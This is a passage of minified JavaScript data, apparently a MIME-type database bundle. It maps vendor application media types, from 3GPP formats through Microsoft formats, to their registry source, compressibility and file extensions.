bw-var":{source:"iana",extensions:["pvb"]},"application/vnd.3gpp.s1ap":{source:"iana"},"application/vnd.3gpp.sms":{source:"iana"},"application/vnd.3gpp.sms+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.srvcc-ext+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.srvcc-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.state-and-event-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.ussd+xml":{source:"iana",compressible:!0},"application/vnd.3gpp2.bcmcsinfo+xml":{source:"iana",compressible:!0},"application/vnd.3gpp2.sms":{source:"iana"},"application/vnd.3gpp2.tcap":{source:"iana",extensions:["tcap"]},"application/vnd.3lightssoftware.imagescal":{source:"iana"},"application/vnd.3m.post-it-notes":{source:"iana",extensions:["pwn"]},"application/vnd.accpac.simply.aso":{source:"iana",extensions:["aso"]},"application/vnd.accpac.simply.imp":{source:"iana",extensions:["imp"]},"application/vnd.acucobol":{source:"iana",extensions:["acu"]},"application/vnd.acucorp":{source:"iana",extensions:["atc","acutc"]},"application/vnd.adobe.air-application-installer-package+zip":{source:"apache",compressible:!1,extensions:["air"]},"application/vnd.adobe.flash.movie":{source:"iana"},"application/vnd.adobe.formscentral.fcdt":{source:"iana",extensions:["fcdt"]},"application/vnd.adobe.fxp":{source:"iana",extensions:["fxp","fxpl"]},"application/vnd.adobe.partial-upload":{source:"iana"},"application/vnd.adobe.xdp+xml":{source:"iana",compressible:!0,extensions:["xdp"]},"application/vnd.adobe.xfdf":{source:"iana",extensions:["xfdf"]},"application/vnd.aether.imp":{source:"iana"},"application/vnd.afpc.afplinedata":{source:"iana"},"application/vnd.afpc.afplinedata-pagedef":{source:"iana"},"application/vnd.afpc.cmoca-cmresource":{source:"iana"},"application/vnd.afpc.foca-charset":{source:"iana"},"application/vnd.afpc.foca-codedfont":{source:"iana"},"application/vnd.afpc.foca-codepage":{source:"iana"},"application/vnd.afpc.modca":{source:"iana"},"application/vnd.afpc.modca-cmtable":{source:"iana"},"application/vnd.afpc.modca-formdef":{source:"iana"},"application/vnd.afpc.modca-mediummap":{source:"iana"},"application/vnd.afpc.modca-objectcontainer":{source:"iana"},"application/vnd.afpc.modca-overlay":{source:"iana"},"application/vnd.afpc.modca-pagesegment":{source:"iana"},"application/vnd.age":{source:"iana",extensions:["age"]},"application/vnd.ah-barcode":{source:"iana"},"application/vnd.ahead.space":{source:"iana",extensions:["ahead"]},"application/vnd.airzip.filesecure.azf":{source:"iana",extensions:["azf"]},"application/vnd.airzip.filesecure.azs":{source:"iana",extensions:["azs"]},"application/vnd.amadeus+json":{source:"iana",compressible:!0},"application/vnd.amazon.ebook":{source:"apache",extensions:["azw"]},"application/vnd.amazon.mobi8-ebook":{source:"iana"},"application/vnd.americandynamics.acc":{source:"iana",extensions:["acc"]},"application/vnd.amiga.ami":{source:"iana",extensions:["ami"]},"application/vnd.amundsen.maze+xml":{source:"iana",compressible:!0},"application/vnd.android.ota":{source:"iana"},"application/vnd.android.package-archive":{source:"apache",compressible:!1,extensions:["apk"]},"application/vnd.anki":{source:"iana"},"application/vnd.anser-web-certificate-issue-initiation":{source:"iana",extensions:["cii"]},"application/vnd.anser-web-funds-transfer-initiation":{source:"apache",extensions:["fti"]},"application/vnd.antix.game-component":{source:"iana",extensions:["atx"]},"application/vnd.apache.arrow.file":{source:"iana"},"application/vnd.apache.arrow.stream":{source:"iana"},"application/vnd.apache.thrift.binary":{source:"iana"},"application/vnd.apache.thrift.compact":{source:"iana"},"application/vnd.apache.thrift.json":{source:"iana"},"application/vnd.api+json":{source:"iana",compressible:!0},"application/vnd.aplextor.warrp+json":{source:"iana",compressible:!0},"application/vnd.apothekende.reservation+json":{source:"iana",compressible:!0},"application/vnd.apple.installer+xml":{source:"iana",compressible:!0,extensions:["mpkg"]},"application/vnd.apple.keynote":{source:"iana",extensions:["key"]},"application/vnd.apple.mpegurl":{source:"iana",extensions:["m3u8"]},"application/vnd.apple.numbers":{source:"iana",extensions:["numbers"]},"application/vnd.apple.pages":{source:"iana",extensions:["pages"]},"application/vnd.apple.pkpass":{compressible:!1,extensions:["pkpass"]},"application/vnd.arastra.swi":{source:"iana"},"application/vnd.aristanetworks.swi":{source:"iana",extensions:["swi"]},"application/vnd.artisan+json":{source:"iana",compressible:!0},"application/vnd.artsquare":{source:"iana"},"application/vnd.astraea-software.iota":{source:"iana",extensions:["iota"]},"application/vnd.audiograph":{source:"iana",extensions:["aep"]},"application/vnd.autopackage":{source:"iana"},"application/vnd.avalon+json":{source:"iana",compressible:!0},"application/vnd.avistar+xml":{source:"iana",compressible:!0},"application/vnd.balsamiq.bmml+xml":{source:"iana",compressible:!0,extensions:["bmml"]},"application/vnd.balsamiq.bmpr":{source:"iana"},"application/vnd.banana-accounting":{source:"iana"},"application/vnd.bbf.usp.error":{source:"iana"},"application/vnd.bbf.usp.msg":{source:"iana"},"application/vnd.bbf.usp.msg+json":{source:"iana",compressible:!0},"application/vnd.bekitzur-stech+json":{source:"iana",compressible:!0},"application/vnd.bint.med-content":{source:"iana"},"application/vnd.biopax.rdf+xml":{source:"iana",compressible:!0},"application/vnd.blink-idb-value-wrapper":{source:"iana"},"application/vnd.blueice.multipass":{source:"iana",extensions:["mpm"]},"application/vnd.bluetooth.ep.oob":{source:"iana"},"application/vnd.bluetooth.le.oob":{source:"iana"},"application/vnd.bmi":{source:"iana",extensions:["bmi"]},"application/vnd.bpf":{source:"iana"},"application/vnd.bpf3":{source:"iana"},"application/vnd.businessobjects":{source:"iana",extensions:["rep"]},"application/vnd.byu.uapi+json":{source:"iana",compressible:!0},"application/vnd.cab-jscript":{source:"iana"},"application/vnd.canon-cpdl":{source:"iana"},"application/vnd.canon-lips":{source:"iana"},"application/vnd.capasystems-pg+json":{source:"iana",compressible:!0},"application/vnd.cendio.thinlinc.clientconf":{source:"iana"},"application/vnd.century-systems.tcp_stream":{source:"iana"},"application/vnd.chemdraw+xml":{source:"iana",compressible:!0,extensions:["cdxml"]},"application/vnd.chess-pgn":{source:"iana"},"application/vnd.chipnuts.karaoke-mmd":{source:"iana",extensions:["mmd"]},"application/vnd.ciedi":{source:"iana"},"application/vnd.cinderella":{source:"iana",extensions:["cdy"]},"application/vnd.cirpack.isdn-ext":{source:"iana"},"application/vnd.citationstyles.style+xml":{source:"iana",compressible:!0,extensions:["csl"]},"application/vnd.claymore":{source:"iana",extensions:["cla"]},"application/vnd.cloanto.rp9":{source:"iana",extensions:["rp9"]},"application/vnd.clonk.c4group":{source:"iana",extensions:["c4g","c4d","c4f","c4p","c4u"]},"application/vnd.cluetrust.cartomobile-config":{source:"iana",extensions:["c11amc"]},"application/vnd.cluetrust.cartomobile-config-pkg":{source:"iana",extensions:["c11amz"]},"application/vnd.coffeescript":{source:"iana"},"application/vnd.collabio.xodocuments.document":{source:"iana"},"application/vnd.collabio.xodocuments.document-template":{source:"iana"},"application/vnd.collabio.xodocuments.presentation":{source:"iana"},"application/vnd.collabio.xodocuments.presentation-template":{source:"iana"},"application/vnd.collabio.xodocuments.spreadsheet":{source:"iana"},"application/vnd.collabio.xodocuments.spreadsheet-template":{source:"iana"},"application/vnd.collection+json":{source:"iana",compressible:!0},"application/vnd.collection.doc+json":{source:"iana",compressible:!0},"application/vnd.collection.next+json":{source:"iana",compressible:!0},"application/vnd.comicbook+zip":{source:"iana",compressible:!1},"application/vnd.comicbook-rar":{source:"iana"},"application/vnd.commerce-battelle":{source:"iana"},"application/vnd.commonspace":{source:"iana",extensions:["csp"]},"application/vnd.contact.cmsg":{source:"iana",extensions:["cdbcmsg"]},"application/vnd.coreos.ignition+json":{source:"iana",compressible:!0},"application/vnd.cosmocaller":{source:"iana",extensions:["cmc"]},"application/vnd.crick.clicker":{source:"iana",extensions:["clkx"]},"application/vnd.crick.clicker.keyboard":{source:"iana",extensions:["clkk"]},"application/vnd.crick.clicker.palette":{source:"iana",extensions:["clkp"]},"application/vnd.crick.clicker.template":{source:"iana",extensions:["clkt"]},"application/vnd.crick.clicker.wordbank":{source:"iana",extensions:["clkw"]},"application/vnd.criticaltools.wbs+xml":{source:"iana",compressible:!0,extensions:["wbs"]},"application/vnd.cryptii.pipe+json":{source:"iana",compressible:!0},"application/vnd.crypto-shade-file":{source:"iana"},"application/vnd.cryptomator.encrypted":{source:"iana"},"application/vnd.cryptomator.vault":{source:"iana"},"application/vnd.ctc-posml":{source:"iana",extensions:["pml"]},"application/vnd.ctct.ws+xml":{source:"iana",compressible:!0},"application/vnd.cups-pdf":{source:"iana"},"application/vnd.cups-postscript":{source:"iana"},"application/vnd.cups-ppd":{source:"iana",extensions:["ppd"]},"application/vnd.cups-raster":{source:"iana"},"application/vnd.cups-raw":{source:"iana"},"application/vnd.curl":{source:"iana"},"application/vnd.curl.car":{source:"apache",extensions:["car"]},"application/vnd.curl.pcurl":{source:"apache",extensions:["pcurl"]},"application/vnd.cyan.dean.root+xml":{source:"iana",compressible:!0},"application/vnd.cybank":{source:"iana"},"application/vnd.cyclonedx+json":{source:"iana",compressible:!0},"application/vnd.cyclonedx+xml":{source:"iana",compressible:!0},"application/vnd.d2l.coursepackage1p0+zip":{source:"iana",compressible:!1},"application/vnd.d3m-dataset":{source:"iana"},"application/vnd.d3m-problem":{source:"iana"},"application/vnd.dart":{source:"iana",compressible:!0,extensions:["dart"]},"application/vnd.data-vision.rdz":{source:"iana",extensions:["rdz"]},"application/vnd.datapackage+json":{source:"iana",compressible:!0},"application/vnd.dataresource+json":{source:"iana",compressible:!0},"application/vnd.dbf":{source:"iana",extensions:["dbf"]},"application/vnd.debian.binary-package":{source:"iana"},"application/vnd.dece.data":{source:"iana",extensions:["uvf","uvvf","uvd","uvvd"]},"application/vnd.dece.ttml+xml":{source:"iana",compressible:!0,extensions:["uvt","uvvt"]},"application/vnd.dece.unspecified":{source:"iana",extensions:["uvx","uvvx"]},"application/vnd.dece.zip":{source:"iana",extensions:["uvz","uvvz"]},"application/vnd.denovo.fcselayout-link":{source:"iana",extensions:["fe_launch"]},"application/vnd.desmume.movie":{source:"iana"},"application/vnd.dir-bi.plate-dl-nosuffix":{source:"iana"},"application/vnd.dm.delegation+xml":{source:"iana",compressible:!0},"application/vnd.dna":{source:"iana",extensions:["dna"]},"application/vnd.document+json":{source:"iana",compressible:!0},"application/vnd.dolby.mlp":{source:"apache",extensions:["mlp"]},"application/vnd.dolby.mobile.1":{source:"iana"},"application/vnd.dolby.mobile.2":{source:"iana"},"application/vnd.doremir.scorecloud-binary-document":{source:"iana"},"application/vnd.dpgraph":{source:"iana",extensions:["dpg"]},"application/vnd.dreamfactory":{source:"iana",extensions:["dfac"]},"application/vnd.drive+json":{source:"iana",compressible:!0},"application/vnd.ds-keypoint":{source:"apache",extensions:["kpxx"]},"application/vnd.dtg.local":{source:"iana"},"application/vnd.dtg.local.flash":{source:"iana"},"application/vnd.dtg.local.html":{source:"iana"},"application/vnd.dvb.ait":{source:"iana",extensions:["ait"]},"application/vnd.dvb.dvbisl+xml":{source:"iana",compressible:!0},"application/vnd.dvb.dvbj":{source:"iana"},"application/vnd.dvb.esgcontainer":{source:"iana"},"application/vnd.dvb.ipdcdftnotifaccess":{source:"iana"},"application/vnd.dvb.ipdcesgaccess":{source:"iana"},"application/vnd.dvb.ipdcesgaccess2":{source:"iana"},"application/vnd.dvb.ipdcesgpdd":{source:"iana"},"application/vnd.dvb.ipdcroaming":{source:"iana"},"application/vnd.dvb.iptv.alfec-base":{source:"iana"},"application/vnd.dvb.iptv.alfec-enhancement":{source:"iana"},"application/vnd.dvb.notif-aggregate-root+xml":{source:"iana",compressible:!0},"application/vnd.dvb.notif-container+xml":{source:"iana",compressible:!0},"application/vnd.dvb.notif-generic+xml":{source:"iana",compressible:!0},"application/vnd.dvb.notif-ia-msglist+xml":{source:"iana",compressible:!0},"application/vnd.dvb.notif-ia-registration-request+xml":{source:"iana",compressible:!0},"application/vnd.dvb.notif-ia-registration-response+xml":{source:"iana",compressible:!0},"application/vnd.dvb.notif-init+xml":{source:"iana",compressible:!0},"application/vnd.dvb.pfr":{source:"iana"},"application/vnd.dvb.service":{source:"iana",extensions:["svc"]},"application/vnd.dxr":{source:"iana"},"application/vnd.dynageo":{source:"iana",extensions:["geo"]},"application/vnd.dzr":{source:"iana"},"application/vnd.easykaraoke.cdgdownload":{source:"iana"},"application/vnd.ecdis-update":{source:"iana"},"application/vnd.ecip.rlp":{source:"iana"},"application/vnd.eclipse.ditto+json":{source:"iana",compressible:!0},"application/vnd.ecowin.chart":{source:"iana",extensions:["mag"]},"application/vnd.ecowin.filerequest":{source:"iana"},"application/vnd.ecowin.fileupdate":{source:"iana"},"application/vnd.ecowin.series":{source:"iana"},"application/vnd.ecowin.seriesrequest":{source:"iana"},"application/vnd.ecowin.seriesupdate":{source:"iana"},"application/vnd.efi.img":{source:"iana"},"application/vnd.efi.iso":{source:"iana"},"application/vnd.emclient.accessrequest+xml":{source:"iana",compressible:!0},"application/vnd.enliven":{source:"iana",extensions:["nml"]},"application/vnd.enphase.envoy":{source:"iana"},"application/vnd.eprints.data+xml":{source:"iana",compressible:!0},"application/vnd.epson.esf":{source:"iana",extensions:["esf"]},"application/vnd.epson.msf":{source:"iana",extensions:["msf"]},"application/vnd.epson.quickanime":{source:"iana",extensions:["qam"]},"application/vnd.epson.salt":{source:"iana",extensions:["slt"]},"application/vnd.epson.ssf":{source:"iana",extensions:["ssf"]},"application/vnd.ericsson.quickcall":{source:"iana"},"application/vnd.espass-espass+zip":{source:"iana",compressible:!1},"application/vnd.eszigno3+xml":{source:"iana",compressible:!0,extensions:["es3","et3"]},"application/vnd.etsi.aoc+xml":{source:"iana",compressible:!0},"application/vnd.etsi.asic-e+zip":{source:"iana",compressible:!1},"application/vnd.etsi.asic-s+zip":{source:"iana",compressible:!1},"application/vnd.etsi.cug+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvcommand+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvdiscovery+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvprofile+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvsad-bc+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvsad-cod+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvsad-npvr+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvservice+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvsync+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvueprofile+xml":{source:"iana",compressible:!0},"application/vnd.etsi.mcid+xml":{source:"iana",compressible:!0},"application/vnd.etsi.mheg5":{source:"iana"},"application/vnd.etsi.overload-control-policy-dataset+xml":{source:"iana",compressible:!0},"application/vnd.etsi.pstn+xml":{source:"iana",compressible:!0},"application/vnd.etsi.sci+xml":{source:"iana",compressible:!0},"application/vnd.etsi.simservs+xml":{source:"iana",compressible:!0},"application/vnd.etsi.timestamp-token":{source:"iana"},"application/vnd.etsi.tsl+xml":{source:"iana",compressible:!0},"application/vnd.etsi.tsl.der":{source:"iana"},"application/vnd.eu.kasparian.car+json":{source:"iana",compressible:!0},"application/vnd.eudora.data":{source:"iana"},"application/vnd.evolv.ecig.profile":{source:"iana"},"application/vnd.evolv.ecig.settings":{source:"iana"},"application/vnd.evolv.ecig.theme":{source:"iana"},"application/vnd.exstream-empower+zip":{source:"iana",compressible:!1},"application/vnd.exstream-package":{source:"iana"},"application/vnd.ezpix-album":{source:"iana",extensions:["ez2"]},"application/vnd.ezpix-package":{source:"iana",extensions:["ez3"]},"application/vnd.f-secure.mobile":{source:"iana"},"application/vnd.familysearch.gedcom+zip":{source:"iana",compressible:!1},"application/vnd.fastcopy-disk-image":{source:"iana"},"application/vnd.fdf":{source:"iana",extensions:["fdf"]},"application/vnd.fdsn.mseed":{source:"iana",extensions:["mseed"]},"application/vnd.fdsn.seed":{source:"iana",extensions:["seed","dataless"]},"application/vnd.ffsns":{source:"iana"},"application/vnd.ficlab.flb+zip":{source:"iana",compressible:!1},"application/vnd.filmit.zfc":{source:"iana"},"application/vnd.fints":{source:"iana"},"application/vnd.firemonkeys.cloudcell":{source:"iana"},"application/vnd.flographit":{source:"iana",extensions:["gph"]},"application/vnd.fluxtime.clip":{source:"iana",extensions:["ftc"]},"application/vnd.font-fontforge-sfd":{source:"iana"},"application/vnd.framemaker":{source:"iana",extensions:["fm","frame","maker","book"]},"application/vnd.frogans.fnc":{source:"iana",extensions:["fnc"]},"application/vnd.frogans.ltf":{source:"iana",extensions:["ltf"]},"application/vnd.fsc.weblaunch":{source:"iana",extensions:["fsc"]},"application/vnd.fujifilm.fb.docuworks":{source:"iana"},"application/vnd.fujifilm.fb.docuworks.binder":{source:"iana"},"application/vnd.fujifilm.fb.docuworks.container":{source:"iana"},"application/vnd.fujifilm.fb.jfi+xml":{source:"iana",compressible:!0},"application/vnd.fujitsu.oasys":{source:"iana",extensions:["oas"]},"application/vnd.fujitsu.oasys2":{source:"iana",extensions:["oa2"]},"application/vnd.fujitsu.oasys3":{source:"iana",extensions:["oa3"]},"application/vnd.fujitsu.oasysgp":{source:"iana",extensions:["fg5"]},"application/vnd.fujitsu.oasysprs":{source:"iana",extensions:["bh2"]},"application/vnd.fujixerox.art-ex":{source:"iana"},"application/vnd.fujixerox.art4":{source:"iana"},"application/vnd.fujixerox.ddd":{source:"iana",extensions:["ddd"]},"application/vnd.fujixerox.docuworks":{source:"iana",extensions:["xdw"]},"application/vnd.fujixerox.docuworks.binder":{source:"iana",extensions:["xbd"]},"application/vnd.fujixerox.docuworks.container":{source:"iana"},"application/vnd.fujixerox.hbpl":{source:"iana"},"application/vnd.fut-misnet":{source:"iana"},"application/vnd.futoin+cbor":{source:"iana"},"application/vnd.futoin+json":{source:"iana",compressible:!0},"application/vnd.fuzzysheet":{source:"iana",extensions:["fzs"]},"application/vnd.genomatix.tuxedo":{source:"iana",extensions:["txd"]},"application/vnd.gentics.grd+json":{source:"iana",compressible:!0},"application/vnd.geo+json":{source:"iana",compressible:!0},"application/vnd.geocube+xml":{source:"iana",compressible:!0},"application/vnd.geogebra.file":{source:"iana",extensions:["ggb"]},"application/vnd.geogebra.slides":{source:"iana"},"application/vnd.geogebra.tool":{source:"iana",extensions:["ggt"]},"application/vnd.geometry-explorer":{source:"iana",extensions:["gex","gre"]},"application/vnd.geonext":{source:"iana",extensions:["gxt"]},"application/vnd.geoplan":{source:"iana",extensions:["g2w"]},"application/vnd.geospace":{source:"iana",extensions:["g3w"]},"application/vnd.gerber":{source:"iana"},"application/vnd.globalplatform.card-content-mgt":{source:"iana"},"application/vnd.globalplatform.card-content-mgt-response":{source:"iana"},"application/vnd.gmx":{source:"iana",extensions:["gmx"]},"application/vnd.google-apps.document":{compressible:!1,extensions:["gdoc"]},"application/vnd.google-apps.presentation":{compressible:!1,extensions:["gslides"]},"application/vnd.google-apps.spreadsheet":{compressible:!1,extensions:["gsheet"]},"application/vnd.google-earth.kml+xml":{source:"iana",compressible:!0,extensions:["kml"]},"application/vnd.google-earth.kmz":{source:"iana",compressible:!1,extensions:["kmz"]},"application/vnd.gov.sk.e-form+xml":{source:"iana",compressible:!0},"application/vnd.gov.sk.e-form+zip":{source:"iana",compressible:!1},"application/vnd.gov.sk.xmldatacontainer+xml":{source:"iana",compressible:!0},"application/vnd.grafeq":{source:"iana",extensions:["gqf","gqs"]},"application/vnd.gridmp":{source:"iana"},"application/vnd.groove-account":{source:"iana",extensions:["gac"]},"application/vnd.groove-help":{source:"iana",extensions:["ghf"]},"application/vnd.groove-identity-message":{source:"iana",extensions:["gim"]},"application/vnd.groove-injector":{source:"iana",extensions:["grv"]},"application/vnd.groove-tool-message":{source:"iana",extensions:["gtm"]},"application/vnd.groove-tool-template":{source:"iana",extensions:["tpl"]},"application/vnd.groove-vcard":{source:"iana",extensions:["vcg"]},"application/vnd.hal+json":{source:"iana",compressible:!0},"application/vnd.hal+xml":{source:"iana",compressible:!0,extensions:["hal"]},"application/vnd.handheld-entertainment+xml":{source:"iana",compressible:!0,extensions:["zmm"]},"application/vnd.hbci":{source:"iana",extensions:["hbci"]},"application/vnd.hc+json":{source:"iana",compressible:!0},"application/vnd.hcl-bireports":{source:"iana"},"application/vnd.hdt":{source:"iana"},"application/vnd.heroku+json":{source:"iana",compressible:!0},"application/vnd.hhe.lesson-player":{source:"iana",extensions:["les"]},"application/vnd.hl7cda+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/vnd.hl7v2+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/vnd.hp-hpgl":{source:"iana",extensions:["hpgl"]},"application/vnd.hp-hpid":{source:"iana",extensions:["hpid"]},"application/vnd.hp-hps":{source:"iana",extensions:["hps"]},"application/vnd.hp-jlyt":{source:"iana",extensions:["jlt"]},"application/vnd.hp-pcl":{source:"iana",extensions:["pcl"]},"application/vnd.hp-pclxl":{source:"iana",extensions:["pclxl"]},"application/vnd.httphone":{source:"iana"},"application/vnd.hydrostatix.sof-data":{source:"iana",extensions:["sfd-hdstx"]},"application/vnd.hyper+json":{source:"iana",compressible:!0},"application/vnd.hyper-item+json":{source:"iana",compressible:!0},"application/vnd.hyperdrive+json":{source:"iana",compressible:!0},"application/vnd.hzn-3d-crossword":{source:"iana"},"application/vnd.ibm.afplinedata":{source:"iana"},"application/vnd.ibm.electronic-media":{source:"iana"},"application/vnd.ibm.minipay":{source:"iana",extensions:["mpy"]},"application/vnd.ibm.modcap":{source:"iana",extensions:["afp","listafp","list3820"]},"application/vnd.ibm.rights-management":{source:"iana",extensions:["irm"]},"application/vnd.ibm.secure-container":{source:"iana",extensions:["sc"]},"application/vnd.iccprofile":{source:"iana",extensions:["icc","icm"]},"application/vnd.ieee.1905":{source:"iana"},"application/vnd.igloader":{source:"iana",extensions:["igl"]},"application/vnd.imagemeter.folder+zip":{source:"iana",compressible:!1},"application/vnd.imagemeter.image+zip":{source:"iana",compressible:!1},"application/vnd.immervision-ivp":{source:"iana",extensions:["ivp"]},"application/vnd.immervision-ivu":{source:"iana",extensions:["ivu"]},"application/vnd.ims.imsccv1p1":{source:"iana"},"application/vnd.ims.imsccv1p2":{source:"iana"},"application/vnd.ims.imsccv1p3":{source:"iana"},"application/vnd.ims.lis.v2.result+json":{source:"iana",compressible:!0},"application/vnd.ims.lti.v2.toolconsumerprofile+json":{source:"iana",compressible:!0},"application/vnd.ims.lti.v2.toolproxy+json":{source:"iana",compressible:!0},"application/vnd.ims.lti.v2.toolproxy.id+json":{source:"iana",compressible:!0},"application/vnd.ims.lti.v2.toolsettings+json":{source:"iana",compressible:!0},"application/vnd.ims.lti.v2.toolsettings.simple+json":{source:"iana",compressible:!0},"application/vnd.informedcontrol.rms+xml":{source:"iana",compressible:!0},"application/vnd.informix-visionary":{source:"iana"},"application/vnd.infotech.project":{source:"iana"},"application/vnd.infotech.project+xml":{source:"iana",compressible:!0},"application/vnd.innopath.wamp.notification":{source:"iana"},"application/vnd.insors.igm":{source:"iana",extensions:["igm"]},"application/vnd.intercon.formnet":{source:"iana",extensions:["xpw","xpx"]},"application/vnd.intergeo":{source:"iana",extensions:["i2g"]},"application/vnd.intertrust.digibox":{source:"iana"},"application/vnd.intertrust.nncp":{source:"iana"},"application/vnd.intu.qbo":{source:"iana",extensions:["qbo"]},"application/vnd.intu.qfx":{source:"iana",extensions:["qfx"]},"application/vnd.iptc.g2.catalogitem+xml":{source:"iana",compressible:!0},"application/vnd.iptc.g2.conceptitem+xml":{source:"iana",compressible:!0},"application/vnd.iptc.g2.knowledgeitem+xml":{source:"iana",compressible:!0},"application/vnd.iptc.g2.newsitem+xml":{source:"iana",compressible:!0},"application/vnd.iptc.g2.newsmessage+xml":{source:"iana",compressible:!0},"application/vnd.iptc.g2.packageitem+xml":{source:"iana",compressible:!0},"application/vnd.iptc.g2.planningitem+xml":{source:"iana",compressible:!0},"application/vnd.ipunplugged.rcprofile":{source:"iana",extensions:["rcprofile"]},"application/vnd.irepository.package+xml":{source:"iana",compressible:!0,extensions:["irp"]},"application/vnd.is-xpr":{source:"iana",extensions:["xpr"]},"application/vnd.isac.fcs":{source:"iana",extensions:["fcs"]},"application/vnd.iso11783-10+zip":{source:"iana",compressible:!1},"application/vnd.jam":{source:"iana",extensions:["jam"]},"application/vnd.japannet-directory-service":{source:"iana"},"application/vnd.japannet-jpnstore-wakeup":{source:"iana"},"application/vnd.japannet-payment-wakeup":{source:"iana"},"application/vnd.japannet-registration":{source:"iana"},"application/vnd.japannet-registration-wakeup":{source:"iana"},"application/vnd.japannet-setstore-wakeup":{source:"iana"},"application/vnd.japannet-verification":{source:"iana"},"application/vnd.japannet-verification-wakeup":{source:"iana"},"application/vnd.jcp.javame.midlet-rms":{source:"iana",extensions:["rms"]},"application/vnd.jisp":{source:"iana",extensions:["jisp"]},"application/vnd.joost.joda-archive":{source:"iana",extensions:["joda"]},"application/vnd.jsk.isdn-ngn":{source:"iana"},"application/vnd.kahootz":{source:"iana",extensions:["ktz","ktr"]},"application/vnd.kde.karbon":{source:"iana",extensions:["karbon"]},"application/vnd.kde.kchart":{source:"iana",extensions:["chrt"]},"application/vnd.kde.kformula":{source:"iana",extensions:["kfo"]},"application/vnd.kde.kivio":{source:"iana",extensions:["flw"]},"application/vnd.kde.kontour":{source:"iana",extensions:["kon"]},"application/vnd.kde.kpresenter":{source:"iana",extensions:["kpr","kpt"]},"application/vnd.kde.kspread":{source:"iana",extensions:["ksp"]},"application/vnd.kde.kword":{source:"iana",extensions:["kwd","kwt"]},"application/vnd.kenameaapp":{source:"iana",extensions:["htke"]},"application/vnd.kidspiration":{source:"iana",extensions:["kia"]},"application/vnd.kinar":{source:"iana",extensions:["kne","knp"]},"application/vnd.koan":{source:"iana",extensions:["skp","skd","skt","skm"]},"application/vnd.kodak-descriptor":{source:"iana",extensions:["sse"]},"application/vnd.las":{source:"iana"},"application/vnd.las.las+json":{source:"iana",compressible:!0},"application/vnd.las.las+xml":{source:"iana",compressible:!0,extensions:["lasxml"]},"application/vnd.laszip":{source:"iana"},"application/vnd.leap+json":{source:"iana",compressible:!0},"application/vnd.liberty-request+xml":{source:"iana",compressible:!0},"application/vnd.llamagraphics.life-balance.desktop":{source:"iana",extensions:["lbd"]},"application/vnd.llamagraphics.life-balance.exchange+xml":{source:"iana",compressible:!0,extensions:["lbe"]},"application/vnd.logipipe.circuit+zip":{source:"iana",compressible:!1},"application/vnd.loom":{source:"iana"},"application/vnd.lotus-1-2-3":{source:"iana",extensions:["123"]},"application/vnd.lotus-approach":{source:"iana",extensions:["apr"]},"application/vnd.lotus-freelance":{source:"iana",extensions:["pre"]},"application/vnd.lotus-notes":{source:"iana",extensions:["nsf"]},"application/vnd.lotus-organizer":{source:"iana",extensions:["org"]},"application/vnd.lotus-screencam":{source:"iana",extensions:["scm"]},"application/vnd.lotus-wordpro":{source:"iana",extensions:["lwp"]},"application/vnd.macports.portpkg":{source:"iana",extensions:["portpkg"]},"application/vnd.mapbox-vector-tile":{source:"iana",extensions:["mvt"]},"application/vnd.marlin.drm.actiontoken+xml":{source:"iana",compressible:!0},"application/vnd.marlin.drm.conftoken+xml":{source:"iana",compressible:!0},"application/vnd.marlin.drm.license+xml":{source:"iana",compressible:!0},"application/vnd.marlin.drm.mdcf":{source:"iana"},"application/vnd.mason+json":{source:"iana",compressible:!0},"application/vnd.maxar.archive.3tz+zip":{source:"iana",compressible:!1},"application/vnd.maxmind.maxmind-db":{source:"iana"},"application/vnd.mcd":{source:"iana",extensions:["mcd"]},"application/vnd.medcalcdata":{source:"iana",extensions:["mc1"]},"application/vnd.mediastation.cdkey":{source:"iana",extensions:["cdkey"]},"application/vnd.meridian-slingshot":{source:"iana"},"application/vnd.mfer":{source:"iana",extensions:["mwf"]},"application/vnd.mfmp":{source:"iana",extensions:["mfm"]},"application/vnd.micro+json":{source:"iana",compressible:!0},"application/vnd.micrografx.flo":{source:"iana",extensions:["flo"]},"application/vnd.micrografx.igx":{source:"iana",extensions:["igx"]},"application/vnd.microsoft.portable-executable":{source:"iana"},"application/vnd.microsoft.windows.thumbnail-cache":{source:"iana"},"application/vnd.miele+json":{source:"iana",compressible:!0},"application/vnd.mif":{source:"iana",extensions:["mif"]},"application/vnd.minisoft-hp3000-save":{source:"iana"},"application/vnd.mitsubishi.misty-guard.trustweb":{source:"iana"},"application/vnd.mobius.daf":{source:"iana",extensions:["daf"]},"application/vnd.mobius.dis":{source:"iana",extensions:["dis"]},"application/vnd.mobius.mbk":{source:"iana",extensions:["mbk"]},"application/vnd.mobius.mqy":{source:"iana",extensions:["mqy"]},"application/vnd.mobius.msl":{source:"iana",extensions:["msl"]},"application/vnd.mobius.plc":{source:"iana",extensions:["plc"]},"application/vnd.mobius.txf":{source:"iana",extensions:["txf"]},"application/vnd.mophun.application":{source:"iana",extensions:["mpn"]},"application/vnd.mophun.certificate":{source:"iana",extensions:["mpc"]},"application/vnd.motorola.flexsuite":{source:"iana"},"application/vnd.motorola.flexsuite.adsi":{source:"iana"},"application/vnd.motorola.flexsuite.fis":{source:"iana"},"application/vnd.motorola.flexsuite.gotap":{source:"iana"},"application/vnd.motorola.flexsuite.kmr":{source:"iana"},"application/vnd.motorola.flexsuite.ttc":{source:"iana"},"application/vnd.motorola.flexsuite.wem":{source:"iana"},"application/vnd.motorola.iprm":{source:"iana"},"application/vnd.mozilla.xul+xml":{source:"iana",compressible:!0,extensions:["xul"]},"application/vnd.ms-3mfdocument":{source:"iana"},"application/vnd.ms-artgalry":{source:"iana",extensions:["cil"]},"application/vnd.ms-asf":{source:"iana"},"application/vnd.ms-cab-compressed":{source:"iana",extensions:["cab"]},"application/vnd.ms-color.iccprofile":{source:"apache"},"application/vnd.ms-excel":{source:"iana",compressible: